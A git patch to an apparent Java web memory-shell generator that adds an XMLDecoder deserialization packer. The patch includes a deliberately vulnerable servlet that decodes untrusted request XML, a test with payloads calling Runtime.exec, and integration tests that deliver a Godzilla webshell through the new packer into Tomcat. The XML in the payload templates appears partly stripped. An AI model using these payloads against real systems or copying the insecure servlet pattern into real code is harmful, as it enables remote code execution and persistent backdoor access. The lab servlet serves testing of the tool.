From 5fb85f9ff13b79c605096f1cedb6e8477abe2b35 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Tue, 22 Jul 2025 02:05:42 +0800 Subject: [PATCH] feat: support XMLDecoder packer --- .../integration/ShellAssertionTool.java | 1 + .../Tomcat8DeserializeContainerTest.java | 3 +- .../com/reajason/javaweb/packer/Packers.java | 2 + .../packer/xmldecoder/XMLDecoderPacker.java | 28 ++++++++++++ .../src/main/java/XmlDecoderServlet.java | 25 +++++++++++ .../src/test/java/XmlDecoderServletTest.java | 45 +++++++++++++++++++ web/src/i18n/en.json | 1 + 7 files changed, 104 insertions(+), 1 deletion(-) create mode 100644 packer/src/main/java/com/reajason/javaweb/packer/xmldecoder/XMLDecoderPacker.java create mode 100644 vul/vul-webapp-deserialize/src/main/java/XmlDecoderServlet.java create mode 100644 vul/vul-webapp-deserialize/src/test/java/XmlDecoderServletTest.java diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java index 3a244601..6d3fe67f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java @@ -346,6 +346,7 @@ public class ShellAssertionTool { case JavaCommonsCollections4 -> VulTool.postData(url + "/java_deserialize/cc40", content); case HessianDeserialize -> VulTool.postData(url + "/hessian", content); case Hessian2Deserialize -> VulTool.postData(url + "/hessian2", content); + case XMLDecoder -> VulTool.postData(url + "/xmlDecoder", content); case Base64 -> VulTool.postData(url + "/b64", content); case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content); case H2, H2JS, H2Javac -> VulTool.postData(url + "/jdbc", content); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8DeserializeContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8DeserializeContainerTest.java index 8a465cfe..39f492ff 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8DeserializeContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8DeserializeContainerTest.java @@ -50,7 +50,8 @@ public class Tomcat8DeserializeContainerTest { arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaCommonsCollections3), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaCommonsCollections4), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.HessianDeserialize), - arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Hessian2Deserialize) + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Hessian2Deserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoder) ); } diff --git a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java index 4c9f4958..888285d6 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java @@ -41,6 +41,7 @@ import com.reajason.javaweb.packer.spel.SpELScriptEnginePacker; import com.reajason.javaweb.packer.spel.SpELSpringIOUtilsGzipPacker; import com.reajason.javaweb.packer.spel.SpELSpringUtilsPacker; import com.reajason.javaweb.packer.velocity.VelocityPacker; +import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker; import lombok.Getter; import java.util.List; @@ -110,6 +111,7 @@ public enum Packers { Freemarker(new FreemarkerPacker()), Velocity(new VelocityPacker()), JinJava(new JinJavaPacker()), + XMLDecoder(new XMLDecoderPacker()), /** * Java 反序列化打包器 diff --git a/packer/src/main/java/com/reajason/javaweb/packer/xmldecoder/XMLDecoderPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/xmldecoder/XMLDecoderPacker.java new file mode 100644 index 00000000..96edb707 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/xmldecoder/XMLDecoderPacker.java @@ -0,0 +1,28 @@ +package com.reajason.javaweb.packer.xmldecoder; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; + +/** + * @author ReaJason + * @since 2025/7/22 + */ +public class XMLDecoderPacker implements Packer { + String template = "\n" + + " \n" + + " \n" + + " js\n" + + " \n" + + " {{script}}\n" + + " \n" + + " \n" + + " \n" + + ""; + + @Override + public String pack(ClassPackerConfig config) { + String script = Packers.ScriptEngine.getInstance().pack(config); + return template.replace("{{script}}", script); + } +} diff --git a/vul/vul-webapp-deserialize/src/main/java/XmlDecoderServlet.java b/vul/vul-webapp-deserialize/src/main/java/XmlDecoderServlet.java new file mode 100644 index 00000000..15324b37 --- /dev/null +++ b/vul/vul-webapp-deserialize/src/main/java/XmlDecoderServlet.java @@ -0,0 +1,25 @@ +import javax.servlet.ServletException; +import javax.servlet.annotation.WebServlet; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.beans.XMLDecoder; +import java.io.ByteArrayInputStream; +import java.io.IOException; + +/** + * @author ReaJason + * @since 2025/7/3 + */ +@WebServlet("/xmlDecoder") +public class XmlDecoderServlet extends HttpServlet { + @Override + protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + String param = req.getParameter("data"); + ByteArrayInputStream inputStream = new ByteArrayInputStream(param.getBytes()); + XMLDecoder xmlDecoder = new XMLDecoder(inputStream); + Object obj = xmlDecoder.readObject(); + resp.getWriter().println(obj); + xmlDecoder.close(); + } +} diff --git a/vul/vul-webapp-deserialize/src/test/java/XmlDecoderServletTest.java b/vul/vul-webapp-deserialize/src/test/java/XmlDecoderServletTest.java new file mode 100644 index 00000000..056245c7 --- /dev/null +++ b/vul/vul-webapp-deserialize/src/test/java/XmlDecoderServletTest.java @@ -0,0 +1,45 @@ +import org.junit.jupiter.api.Test; + +import java.beans.XMLDecoder; +import java.io.ByteArrayInputStream; +import java.util.Base64; + +/** + * @author ReaJason + * @since 2025/7/3 + */ +class XmlDecoderServletTest { + + @Test + void test() { + String xml = "" + + " \n" + + " \n" + + " \n" + + " Calculator\n" + + " \n" + + " \n" + + " \n" + + " \n" + + ""; + String xml1 = "" + + " \n" + + " \n" + + " js\n" + + " \n" + + " java.lang.Runtime.getRuntime().exec('open -a Calculator')\n" + + " \n" + + " \n" + + " \n" + + ""; + try { + ByteArrayInputStream inputStream = new ByteArrayInputStream(xml1.getBytes()); + XMLDecoder xmlDecoder = new XMLDecoder(inputStream); + xmlDecoder.readObject(); + xmlDecoder.close(); + } catch (Exception e) { + e.printStackTrace(); + } + } + +} \ No newline at end of file diff --git a/web/src/i18n/en.json b/web/src/i18n/en.json index aa8413c8..6795e6bc 100644 --- a/web/src/i18n/en.json +++ b/web/src/i18n/en.json @@ -56,6 +56,7 @@ "packageConfig.packer.AgentJarWithJDKAttacher": "AgentJarWithJDKAttacher", "packageConfig.packer.AgentJarWithJREAttacher": "AgentJarWithJREAttacher", "packageConfig.packer.H2": "H2 JDBC", + "packageConfig.packer.XMLDecoder": "XMLDecoder", "packageConfig.title": "Package Method", "placeholders.input": "Please input", "placeholders.select": "Please select",